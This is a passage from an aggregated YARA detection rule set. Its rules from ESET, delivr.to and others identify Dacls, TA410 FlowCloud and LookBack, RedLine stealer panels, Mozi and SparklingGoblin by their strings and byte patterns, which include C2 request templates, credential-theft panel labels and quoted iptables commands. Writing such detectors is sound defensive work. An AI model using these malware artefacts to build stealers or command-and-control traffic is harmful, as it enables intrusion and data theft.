		source_url = "https://github.com/deadbits/yara-rules//blob/d002f7ecee23e09142a3ac3e79c84f71dda3f001/rules/Dacls_Windows.yara#L1-L30"
		license_url = "N/A"
		logic_hash = "b77df7e3be9c264d6a63d40dbf49c41e9dd55b4e570c063b5710b849c36cc166"
		score = 75
		quality = 80
		tags = "FILE"
		Author = "Adam M. Swanda"
	strings:
		$fext00 = ".exe" ascii wide
		$fext01 = ".cmd" ascii wide
		$fext02 = ".bat" ascii wide
		$fext03 = ".com" ascii wide
		$str00 = "Software\\mthjk" ascii wide
		$str01 = "WindowsNT.dll" ascii fullword
		$str02 = "GET %s HTTP/1.1" ascii fullword
		$str03 = "content-length:" ascii fullword
		$str04 = "Connection: keep-alive" ascii fullword
		$cls00 = "c_2910.cls" ascii fullword
		$cls01 = "k_3872.cls" ascii fullword
	condition:
		( uint16( 0 ) == 0x5a4d ) and ( ( all of ( $cls* ) ) or ( all of ( $fext* ) and all of ( $str* ) ) )
}

/*
 * YARA Rule Set
 * Repository Name: DelivrTo
 * Repository: https://github.com/delivr-to/detections
 * Retrieval Date: 2026-03-15
 * Git Commit: f85e1d0c477cbf4689d1cfe4a80049c465673b23
 * Number of Rules: 2
 * Skipped: 0 (age), 6 (quality), 7 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * NO LICENSE SET
 */
rule DELIVRTO_SUSP_PDF_MHT_Activemime_Sept23 : FILE
{
	meta:
		description = "Presence of MHT ActiveMime within PDF for polyglot file"
		author = "delivr.to"
		id = "fbac1371-bad4-5751-a5c4-ce6c270fb83e"
		date = "2023-09-04"
		modified = "2023-09-04"
		reference = "https://blogs.jpcert.or.jp/en/2023/08/maldocinpdf.html"
		source_url = "https://github.com/delivr-to/detections/blob/f85e1d0c477cbf4689d1cfe4a80049c465673b23/yara-rules/pdf_mht_activemime.yar#L1-L19"
		license_url = "N/A"
		logic_hash = "af1450f649de6daec242f11e3b3c35305d3127fac4ef719a4ddb4edab3ae3651"
		score = 70
		quality = 78
		tags = "FILE"
	strings:
		$mht0 = "mime" ascii nocase
		$mht1 = "content-location:" ascii nocase
		$mht2 = "content-type:" ascii nocase
		$act = "edit-time-data" ascii nocase
	condition:
		uint32( 0 ) == 0x46445025 and all of ( $mht* ) and $act
}

/*
 * YARA Rule Set
 * Repository Name: ESET
 * Repository: https://github.com/eset/malware-ioc
 * Retrieval Date: 2026-03-15
 * Git Commit: 6061a882d399c54e9759c90fc511a81caf5e0731
 * Number of Rules: 57
 * Skipped: 38 (age), 21 (quality), 2 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * Copyright (c) 2014-2018 ESET spol. s r.o.
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.

2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

 */

rule ESET_Apt_Windows_TA410_X4_Hash_Values : FILE
{
	meta:
		description = "Matches X4 hash function found in TA410 X4"
		author = "ESET Research"
		id = "859bb977-82d0-5314-b1a8-fb3bb06a1b28"
		date = "2020-10-09"
		modified = "2022-04-27"
		reference = "https://github.com/eset/malware-ioc/"
		source_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/ta410/ta410.yar#L127-L149"
		license_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/LICENSE"
		logic_hash = "bcf3891ff888ca99af9aa0e239b29241ae819022607fb829c5731267add308ea"
		score = 75
		quality = 80
		tags = "FILE"
		license = "BSD 2-Clause"
		version = "1"
	strings:
		$s1 = {D1 10 76 C2 B6 03}
		$s2 = {71 3E A8 0D}
		$s3 = {DC 78 94 0E}
		$s4 = {40 0D E7 D6 06}
		$s5 = {83 BB FD E8 06}
		$s6 = {92 9D 9B FF EC 03}
		$s7 = {DD 0E FC FA F5 03}
		$s8 = {15 60 1E FB F5 03}
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}

rule ESET_Apt_Windows_TA410_X4_Hash_Fct : FILE
{
	meta:
		description = "Matches X4 hash function found in TA410 X4"
		author = "ESET Research"
		id = "5ca435a4-7c6e-594d-8c4d-d577735884e6"
		date = "2020-10-09"
		modified = "2022-04-27"
		reference = "https://github.com/eset/malware-ioc/"
		source_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/ta410/ta410.yar#L151-L187"
		license_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/LICENSE"
		logic_hash = "3b2d44cb7685a99e9aeb08f886f6876d43ee99d1e52e40705c3fa97ce3bfa9a0"
		score = 75
		quality = 80
		tags = "FILE"
		license = "BSD 2-Clause"
		version = "1"
	strings:
		$chunk_1 = {
            0F B6 01
            84 C0
            74 ??
            48 69 D2 83 00 00 00
            48 0F BE C0
            48 03 D0
            48 FF C1
            E9 ?? ?? ?? ??
        }
	condition:
		uint16( 0 ) == 0x5a4d and any of them
}




rule ESET_Apt_Windows_TA410_Lookback_HTTP : FILE
{
	meta:
		description = "Matches LookBack's hardcoded HTTP request"
		author = "ESET Research"
		id = "ca4ee437-5ac9-5715-90fb-e0e74a817bb5"
		date = "2021-10-12"
		modified = "2022-04-27"
		reference = "https://github.com/eset/malware-ioc/"
		source_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/ta410/ta410.yar#L333-L349"
		license_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/LICENSE"
		logic_hash = "0e777f56136cd11d62abdf4f120410d5fe9cd522cfc06afbf085414a96279bf7"
		score = 75
		quality = 80
		tags = "FILE"
		license = "BSD 2-Clause"
		version = "1"
	strings:
		$s1 = "POST http://%s/status.php?r=%d%d HTTP/1.1\x0d\nAccept: text/html, application/xhtml+xml, */*\x0d\nAccept-Language: en-us\x0d\nUser-Agent: %s\x0d\nContent-Type: application/x-www-form-urlencoded\x0d\nAccept-Encoding: gzip, deflate\x0d\nHost: %s\x0d\nContent-Length: %d\x0d\nConnection: Keep-Alive\x0d\nCache-Control: no-cache\x0d\n\x0d\n" ascii wide
		$s2 = "id=1&op=report&status="
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}


rule ESET_Apt_Windows_TA410_Flowcloud_Loader_Strings : FILE
{
	meta:
		description = "Matches various strings found in TA410 FlowCloud first stage."
		author = "ESET Research"
		id = "a3fb894f-8e26-5cbd-a1f2-8a9ab1db0901"
		date = "2021-10-12"
		modified = "2022-04-27"
		reference = "https://github.com/eset/malware-ioc/"
		source_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/ta410/ta410.yar#L379-L415"
		license_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/LICENSE"
		logic_hash = "3c90723e009ffe2603910566ac52a324256676ee3ff128d94427681010e10e8b"
		score = 75
		quality = 78
		tags = "FILE"
		license = "BSD 2-Clause"
		version = "1"
	strings:
		$key = "y983nfdicu3j2dcn09wur9*^&initialize(y4r3inf;'fdskaf'SKF"
		$s2 = "startModule" fullword
		$s4 = "auto_start_module" wide
		$s5 = "load_main_module_after_install" wide
		$s6 = "terminate_if_fail" wide
		$s7 = "clear_run_mru" wide
		$s8 = "install_to_vista" wide
		$s9 = "load_ext_module" wide
		$s10 = "sll_only" wide
		$s11 = "fail_if_already_installed" wide
		$s12 = "clear_hardware_info" wide
		$s13 = "av_check" wide fullword
		$s14 = "check_rs" wide
		$s15 = "check_360" wide
		$s16 = "responsor.dat" wide ascii
		$s17 = "auto_start_after_install_check_anti" wide fullword
		$s18 = "auto_start_after_install" wide fullword
		$s19 = "extern_config.dat" wide fullword
		$s20 = "is_hhw" wide fullword
		$s21 = "SYSTEM\\Setup\\PrintResponsor" wide
		$event = "Global\\Event_{201a283f-e52b-450e-bf44-7dc436037e56}" wide ascii
		$s23 = "invalid encrypto hdr while decrypting"
	condition:
		uint16( 0 ) == 0x5a4d and ( $key or $event or 5 of ( $s* ) )
}

rule ESET_Apt_Windows_TA410_Flowcloud_Header_Decryption : FILE
{
	meta:
		description = "Matches the function used to decrypt resources headers in TA410 FlowCloud"
		author = "ESET Research"
		id = "403c1845-bc25-5a49-8553-8a0be18d6970"
		date = "2026-01-15"
		modified = "2022-04-27"
		reference = "https://github.com/eset/malware-ioc/"
		source_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/ta410/ta410.yar#L417-L496"
		license_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/LICENSE"
		logic_hash = "74b6c42bf2de159b2b0a15637e6bd94069367e3000c887714d6e3b50aa3646be"
		score = 75
		quality = 80
		tags = "FILE"
		license = "BSD 2-Clause"
	strings:
		$chunk_1 = {
            8B 1E
            8B CF
            D3 CB
            8D 0C 28
            83 C7 06
            30 18
            8B 1E
            D3 CB
            8D 0C 02
            30 58 ??
            8B 1E
            D3 CB
            8B 4C 24 ??
            03 C8
            30 58 ??
            8B 1E
            D3 CB
            8B 4C 24 ??
            03 C8
            30 58 ??
            8B 1E
            D3 CB
            8B 4C 24 ??
            03 C8
            83 C0 06
            30 58 ??
            8B 1E
            D3 CB
            30 58 ??
            83 FF 10
            72 ??
        }
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule ESET_Apt_Windows_TA410_Flowcloud_Dll_Hijacking_Strings : FILE
{
	meta:
		description = "Matches filenames inside TA410 FlowCloud malicious DLL."
		author = "ESET Research"
		id = "6636d4d0-0a7f-5971-a7f4-58803042d874"
		date = "2021-10-12"
		modified = "2022-04-27"
		reference = "https://github.com/eset/malware-ioc/"
		source_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/ta410/ta410.yar#L498-L517"
		license_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/LICENSE"
		logic_hash = "e8082d4216364a12ba395f772b5caed94b3068d26a2b3a97ef711d61a82f65b3"
		score = 75
		quality = 80
		tags = "FILE"
		license = "BSD 2-Clause"
		version = "1"
	strings:
		$dat1 = "emedres.dat" wide
		$dat2 = "vviewres.dat" wide
		$dat3 = "setlangloc.dat" wide
		$dll1 = "emedres.dll" wide
		$dll2 = "vviewres.dll" wide
		$dll3 = "setlangloc.dll" wide
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $dat* ) or all of ( $dll* ) )
}

rule ESET_Apt_Windows_TA410_Flowcloud_Malicious_Dll_Antianalysis : FILE
{
	meta:
		description = "Matches anti-analysis techniques used in TA410 FlowCloud hijacking DLL."
		author = "ESET Research"
		id = "b38a1d4d-5053-5a6d-be8c-c00261936417"
		date = "2021-10-12"
		modified = "2022-04-27"
		reference = "https://github.com/eset/malware-ioc/"
		source_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/ta410/ta410.yar#L519-L552"
		license_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/LICENSE"
		logic_hash = "8f14352118d32a43c17f70bd753acc48bd314965f10ab97818e8a434bbda96d9"
		score = 75
		quality = 80
		tags = "FILE"
		license = "BSD 2-Clause"
		version = "1"
	strings:
		$chunk_1 = {
            33 C0
            E8 ?? ?? ?? ??
            83 C0 10
            3D 00 00 00 80
            7D 01
            EB FF
            E0 50
            C3
        }
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}


rule ESET_Apt_Windows_TA410_Flowcloud_Shellcode_Decryption : FILE
{
	meta:
		description = "Matches the decryption function used in TA410 FlowCloud self-decrypting DLL"
		author = "ESET Research"
		id = "8af7b2fa-be40-5ec8-8413-1c982a463a9a"
		date = "2021-10-12"
		modified = "2022-04-27"
		reference = "https://github.com/eset/malware-ioc/"
		source_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/ta410/ta410.yar#L569-L615"
		license_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/LICENSE"
		logic_hash = "939ffe6a41c957aa5d6c012484b2deab49a5e71a4b7e203a41c180f872803921"
		score = 75
		quality = 80
		tags = "FILE"
		license = "BSD 2-Clause"
		version = "1"
	strings:
		$chunk_1 = {
            33 D2
            8B 45 ??
            BB 6B 04 00 00
            F7 F3
            81 C2 A8 01 00 00
            81 E2 FF 00 00 00
            8B 7D ??
            33 C9
            EB ??
            30 14 39
            00 14 39
            41
            3B 4D ??
            72 ??
        }
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule ESET_Apt_Windows_TA410_Flowcloud_Fcclient_Strings : FILE
{
	meta:
		description = "Strings found in fcClient/rescure.dat module."
		author = "ESET Research"
		id = "876bae0b-2612-559b-9ead-b633a3789663"
		date = "2021-10-12"
		modified = "2022-04-27"
		reference = "https://github.com/eset/malware-ioc/"
		source_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/ta410/ta410.yar#L617-L639"
		license_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/LICENSE"
		logic_hash = "c05b7031a5aec1bcf29eca06c010c402edeb24a093a2043dbc21781dff22c7fe"
		score = 75
		quality = 80
		tags = "FILE"
		license = "BSD 2-Clause"
		version = "1"
	strings:
		$s1 = "df257bdd-847c-490e-9ef9-1d7dc883d3c0"
		$s2 = "\\{2AFF264E-B722-4359-8E0F-947B85594A9A}"
		$s3 = "Global\\{26C96B51-2B5D-4D7B-BED1-3DCA4848EDD1}" wide
		$s4 = "{804423C2-F490-4ac3-BFA5-13DEDE63A71A}" wide
		$s5 = "{A5124AF5-DF23-49bf-B0ED-A18ED3DEA027}" wide
		$s6 = "XXXModule_func.dll"
		$driver1 = "\\drivers\\hidmouse.sys" wide fullword
		$driver2 = "\\drivers\\hidusb.sys" wide fullword
	condition:
		uint16( 0 ) == 0x5a4d and ( any of ( $s* ) or all of ( $driver* ) )
}

rule ESET_Apt_Windows_TA410_Flowcloud_Fcclientdll_Strings : FILE
{
	meta:
		description = "Strings found in fcClientDll/responsor.dat module."
		author = "ESET Research"
		id = "80ecaf51-406f-590c-8f9c-59672683de02"
		date = "2021-10-12"
		modified = "2022-04-27"
		reference = "https://github.com/eset/malware-ioc/"
		source_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/ta410/ta410.yar#L641-L669"
		license_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/LICENSE"
		logic_hash = "3a93f58cf14b57a96157077ec14aa6fb181e3da80f4ba46c0379a58b67c08a0e"
		score = 75
		quality = 80
		tags = "FILE"
		license = "BSD 2-Clause"
		version = "1"
	strings:
		$s1 = "http://%s/html/portlet/ext/draco/resources/draco_manager.swf/[[DYNAMIC]]/1"
		$s2 = "Cookie: COOKIE_SUPPORT=true; JSESSIONID=5C7E7A60D01D2891F40648DAB6CB3DF4.jvm1; COMPANY_ID=10301; ID=666e7375545678695645673d; PASSWORD=7a4b48574d746470447a303d; LOGIN=6863303130; SCREEN_NAME=4a2b455377766b657451493d; GUEST_LANGUAGE_ID=en-US"
		$fc_msg = ".fc_net.msg"
		$s4 = "\\pipe\\namedpipe_keymousespy_english" wide
		$s5 = "8932910381748^&*^$58876$%^ghjfgsa413901280dfjslajflsdka&*(^7867=89^&*F(^&*5678f5ds765f76%&*%&*5"
		$s6 = "cls_{CACB140B-0B82-4340-9B05-7983017BA3A4}" wide
		$s7 = "HTTP/1.1 200 OK\x0d\nServer: Apache-Coyote/1.1\x0d\nPragma: No-cache\x0d\nCache-Control: no-cache\x0d\nExpires: Thu, 01 Jan 1970 08:00:00 CST\x0d\nLast-Modified: Fri, 27 Apr 2012 08:11:04 GMT\x0d\nContent-Type: application/xml\x0d\nContent-Length: %d\x0d\nDate: %s GMT"
		$sql1 = "create table if not exists table_filed_space"
		$sql2 = "create table if not exists clipboard"
		$sql3 = "create trigger if not exists file_after_delete after delete on file"
		$sql4 = "create trigger if not exists file_data_after_insert after insert on file_data"
		$sql5 = "create trigger if not exists file_data_after_delete after delete on file_data"
		$sql6 = "create trigger if not exists file_data_after_update after update on file_data"
		$sql7 = "insert into file_data(file_id, ofs, data, status)"
	condition:
		uint16( 0 ) == 0x5a4d and ( any of ( $s* ) or #fc_msg >= 8 or 4 of ( $sql* ) )
}

rule ESET_Apt_Windows_TA410_Rootkit_Strings : FILE
{
	meta:
		description = "Strings found in TA410's Rootkit"
		author = "ESET Research"
		id = "a6a97721-571e-5414-9b00-5789d7bcd078"
		date = "2021-10-12"
		modified = "2022-04-27"
		reference = "https://github.com/eset/malware-ioc/"
		source_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/ta410/ta410.yar#L671-L697"
		license_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/LICENSE"
		logic_hash = "1d3ad63508c5e4bca32b9a44b738cb4a7384ccfa5704ce329260adb342ea4e60"
		score = 75
		quality = 80
		tags = "FILE"
		license = "BSD 2-Clause"
		version = "1"
	strings:
		$driver1 = "\\Driver\\kbdclass" wide
		$driver2 = "\\Driver\\mouclass" wide
		$device1 = "\\Device\\KeyboardClass0" wide
		$device2 = "\\Device\\PointerClass0" wide
		$driver3 = "\\Driver\\tcpip" wide
		$device3 = "\\Device\\tcp" wide
		$driver4 = "\\Driver\\nsiproxy" wide
		$device4 = "\\Device\\Nsi" wide
		$reg1 = "\\Registry\\Machine\\SYSTEM\\Setup\\AllowStart\\ceipCommon" wide
		$reg2 = "RHH%d" wide
		$reg3 = "RHP%d" wide
		$s1 = "\\SystemRoot\\System32\\drivers\\hidmouse.sys" wide
	condition:
		uint16( 0 ) == 0x5a4d and all of ( $s1 , $reg* ) and ( all of ( $driver* ) or all of ( $device* ) )
}



rule ESET_Cw_Windows_Redline_Panel_Tab_Headers : FILE
{
	meta:
		description = "Matches view headers in Redline Panel"
		author = "ESET Research"
		id = "44a95845-b0a3-59c1-8188-86d415eff0bf"
		date = "2022-10-11"
		modified = "2024-11-12"
		reference = "https://github.com/eset/malware-ioc/"
		source_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/redline/redline.yar#L32-L55"
		license_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/LICENSE"
		hash = "a154dfaedc237c047f419eb6884dab1ef4e2a17d"
		logic_hash = "3198aa9df2814a5f1d5568c6eed5f3189b2f72b3928cc97645f9bf57eebab9ac"
		score = 75
		quality = 80
		tags = "FILE"
		license = "BSD 2-Clause"
		version = 2
	strings:
		$ = "RedLine | Log In"
		$ = "RedLine | Autofilles Viewer"
		$ = "RedLine | Choose Browser"
		$ = "RedLine | Cookie Viewer"
		$ = "RedLine | Credit Card Viewer"
		$ = "RedLine | Files Viewer"
		$ = "RedLine | Log saver"
		$ = "RedLine | System Info Viewer"
	condition:
		uint16( 0 ) == 0x5A4D and 6 of them
}

rule ESET_Cw_Windows_Redline_Panel_Distinctive_Strings : FILE
{
	meta:
		description = "Matches rare strings found in Redline panel"
		author = "ESET Research"
		id = "d40ccb6b-e777-5c05-b97c-ead910047649"
		date = "2022-10-11"
		modified = "2024-11-12"
		reference = "https://github.com/eset/malware-ioc/"
		source_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/redline/redline.yar#L57-L77"
		license_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/LICENSE"
		hash = "a154dfaedc237c047f419eb6884dab1ef4e2a17d"
		logic_hash = "7ff0239426c4c3b46a269fad71232295c038c09f276cdc3c7f1142c830260a6d"
		score = 75
		quality = 80
		tags = "FILE"
		license = "BSD 2-Clause"
		version = 2
	strings:
		$env_var = "%DSK_23%"
		$fn_name = "IsGratherThan"
		$telegram0 = "Telegram: @REDLINESUPPORT"
		$telegram1 = "https://t.me/REDLINESUPPORT"
	condition:
		uint16( 0 ) == 0x5A4D and any of them
}

rule ESET_Cw_Windows_Redline_Panel_Prompts : FILE
{
	meta:
		description = "Matches prompt messages in Redline panel"
		author = "ESET Research"
		id = "3481586b-ed4b-5a27-82a0-0bbb3eea279e"
		date = "2022-10-11"
		modified = "2024-11-12"
		reference = "https://github.com/eset/malware-ioc/"
		source_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/redline/redline.yar#L79-L113"
		license_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/LICENSE"
		hash = "a154dfaedc237c047f419eb6884dab1ef4e2a17d"
		logic_hash = "0dfab05a9383ba13b3c610f1ab0c81e95804470002f27171ab39706f7723983a"
		score = 75
		quality = 80
		tags = "FILE"
		license = "BSD 2-Clause"
		version = 2
	strings:
		$ = "Choose directory to save log"
		$ = "Select log to set comment"
		$ = "Please enter an action to create new task"
		$ = "Please enter a target to create new task"
		$ = "Please enter a final point to create new task"
		$ = "Please enter a correct action to create new task"
		$ = "Please enter a correct final point to create new task"
		$ = "Please enter an action to edit task"
		$ = "Please enter a target to edit task"
		$ = "Please enter a final point to edit task"
		$ = "Please enter a correct action to edit task"
		$ = "Please enter a correct final point to edit task"
		$ = "Please enter a correct status to edit task"
		$ = "Please, enter a domains"
		$ = "Please, enter a valid server ip"
		$ = "Choose a file to pump"
		$ = "Enter a valid count of bytes"
		$ = "Enter a valid count of bytes. Must be more then zero"
		$ = "Disconnected. Reboot your panel"
	condition:
		uint16( 0 ) == 0x5A4D and 10 of them
}

rule ESET_Cw_Windows_Redline_Panel_Status_Message_Strings : FILE
{
	meta:
		description = "Matches error/success messages in Redline panel"
		author = "ESET Research"
		id = "70bdff10-9c86-57e3-b839-e86173a44855"
		date = "2022-10-11"
		modified = "2024-11-12"
		reference = "https://github.com/eset/malware-ioc/"
		source_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/redline/redline.yar#L115-L142"
		license_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/LICENSE"
		hash = "a154dfaedc237c047f419eb6884dab1ef4e2a17d"
		logic_hash = "c60fabc81967b083be72ff564af744ab60441de5d563ea6d88d873c0a99bfbdd"
		score = 75
		quality = 80
		tags = "FILE"
		license = "BSD 2-Clause"
		version = 1
	strings:
		$ = "All Browsers are empty"
		$ = "Client [{0}:{1}:{2}] completed task with {3} ID."
		$ = "A List of logs cleared"
		$ = "Browsers not found"
		$ = "Browsers is empty"
		$ = "Done. Check your build file"
		$ = "You must to enable assembly info or certificate in settings"
		$ = "Duplicate log from "
		$ = "Password list is empty"
		$ = "Cookie list is empty"
		$ = "FTPs not found"
		$ = "Files not found"
	condition:
		uint16( 0 ) == 0x5A4D and 8 of them
}


rule ESET_Mozi_Killswitch : FILE
{
	meta:
		description = "Mozi botnet kill switch"
		author = "Ivan Besina"
		id = "e3d34ae0-de06-5ff4-b44b-44d264b6dd29"
		date = "2023-09-29"
		modified = "2023-10-31"
		reference = "https://github.com/eset/malware-ioc/"
		source_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/mozi/mozi.yar#L32-L51"
		license_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/LICENSE"
		logic_hash = "90eaed2f7f5595b145b2678a46ef6179082192215369fa9235024b0ce1574a49"
		score = 75
		quality = 80
		tags = "FILE"
		license = "BSD 2-Clause"
		version = "1"
	strings:
		$iptables1 = "iptables -I INPUT  -p tcp --destination-port 7547 -j DROP"
		$iptables2 = "iptables -I OUTPUT -p tcp --sport 30005 -j DROP"
		$haha = "/haha"
		$networks = "/usr/networks"
	condition:
		all of them and filesize < 500KB
}


rule ESET_Sparklinggoblin_Chacha20 : FILE
{
	meta:
		description = "SparklingGoblin ChaCha20 implementations"
		author = "ESET Research"
		id = "c0caceca-f685-5786-82f6-3ab7435f8061"
		date = "2021-05-20"
		modified = "2021-08-26"
		reference = "https://github.com/eset/malware-ioc/"
		source_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/sparklinggoblin/SparklingGoblin.yar#L59-L368"
		license_url = "https://github.com/eset/malware-ioc/blob/6061a882d399c54e9759c90fc511a81caf5e0731/LICENSE"
		hash = "2edbea43f5c40c867e5b6bbd93cc972525df598b"
		hash = "b6d245d3d49b06645c0578804064ce0c072cbe0f"
		hash = "8be6d5f040d0085c62b1459afc627707b0de89cf"
		hash = "4668302969fe122874fb2447a80378dcb671c86b"
		hash = "9bdecb08e16a23d271d0a3e836d9e7f83d7e2c3b"
		hash = "9ce7650f2c08c391a35d69956e171932d116b8bd"
		hash = "91b32e030a1f286e7d502ca17e107d4bfbd7394a"
		logic_hash = "b742bc22e0ebbce40607cb109b4d6fb03a40c1fb223c8092d93346dd3dd22789"
		score = 75
		quality = 80
		tags = "FILE"
		license = "BSD 2-Clause"
	strings:
		$chunk_1 = {
            8B 4D ??
            56
            8B 75 ??
            57
            8B 7D ??
            8B 04 BB
            01 04 93
            8B 04 B3
            33 04 93
            C1 C0 10
            89 04 B3
            01 04 8B
            8B 04 BB
            33 04 8B
            C1 C0 0C
            89 04 BB
            01 04 93
            8B 04 B3
            33 04 93
            C1 C0 08
            89 04 B3
            01 04 8B
            8B 04 BB
            33 04 8B
            C1 C0 07
            89 04 BB
        }
		$chunk_2 = {
            03 4D ??
            44 03 C0
            03 55 ??
            33 F1
            45 33 D8
            C1 C6 10
            44 33 F2
            41 C1 C3 10
            41 03 FB
            41 C1 C6 10
            45 03 E6
            41 03 DA
            44 33 CB
            44 03 EE
            41 C1 C1 10
            8B C7
            33 45 ??
            45 03 F9
            C1 C0 0C
            44 03 C0
            45 33 D8
            44 89 45 ??
            41 C1 C3 08
            41 03 FB
            44 8B C7
            44 33 C0
            41 8B C5
            33 45 ??
            C1 C0 0C
            03 C8
            41 C1 C0 07
            33 F1
            89 4D ??
            C1 C6 08
            44 03 EE
            41 8B CD
            33 C8
            41 8B C4
            33 45 ??
            C1 C0 0C
            03 D0
            C1 C1 07
            44 33 F2
            89 55 ??
            41 C1 C6 08
            45 03 E6
            41 8B D4
            33 D0
            41 8B C7
            41 33 C2
            C1 C2 07
            C1 C0 0C
            03 D8
            44 33 CB
            41 C1 C1 08
            45 03 F9
            45 8B D7
            44 33 D0
            8B 45 ??
            03 C1
            41 C1 C2 07
            44 33 C8
            89 45 ??
            41 C1 C1 10
            45 03 E1
            41 8B C4
            33 C1
            8B 4D ??
            C1 C0 0C
            03 C8
            44 33 C9
            89 4D ??
            89 4D ??
            41 C1 C1 08
            45 03 E1
            41 8B CC
            33 C8
            8B 45 ??
            C1 C1 07
            89 4D ??
            89 4D ??
            03 C2
            41 03 D8
            89 45 ??
            41 33 C3
            C1 C0 10
            44 03 F8
            41 8B CF
            33 CA
            8B 55 ??
        }
		$chunk_3 = {
            C7 45 ?? 65 78 70 61
            4C 8D 45 ??
            C7 45 ?? 6E 64 20 33
            4D 8B F9
            C7 45 ?? 32 2D 62 79
            4C 2B C1
            C7 45 ?? 74 65 20 6B
        }
		$chunk_4 = {
            0F B6 02
            0F B6 4A ??
            C1 E1 08
            0B C8
            0F B6 42 ??
            C1 E1 08
            0B C8
            0F B6 42 ??
            C1 E1 08
            0B C8
            41 89 0C 10
            48 8D 52 ??
            49 83 E9 01
        }
		$chunk_5 = {
            03 4D ??
            44 03 C0
            03 55 ??
            33 F1
            41 33 F8
            C1 C6 10
            44 33 F2
            C1 C7 10
            44 03 DF
            41 C1 C6 10
            45 03 E6
            44 03 CB
            45 33 D1
            44 03 EE
            41 C1 C2 10
            41 8B C3
            33 45 ??
            45 03 FA
            C1 C0 0C
            44 03 C0
            41 33 F8
            44 89 45 ??
            C1 C7 08
            44 03 DF
            45 8B C3
            44 33 C0
            41 8B C5
            33 45 ??
            C1 C0 0C
            03 C8
            41 C1 C0 07
            33 F1
            89 4D ??
            C1 C6 08
            44 03 EE
            41 8B CD
            33 C8
            41 8B C4
            33 45 ??
            C1 C0 0C
            03 D0
            C1 C1 07
            44 33 F2
            89 55 ??
            41 C1 C6 08
            45 03 E6
            41 8B D4
            33 D0
            41 8B C7
            33 C3
            C1 C2 07
            C1 C0 0C
            44 03 C8
            45 33 D1
            41 C1 C2 08
            45 03 FA
            41 8B DF
            33 D8
            8B 45 ??
            03 C1
            C1 C3 07
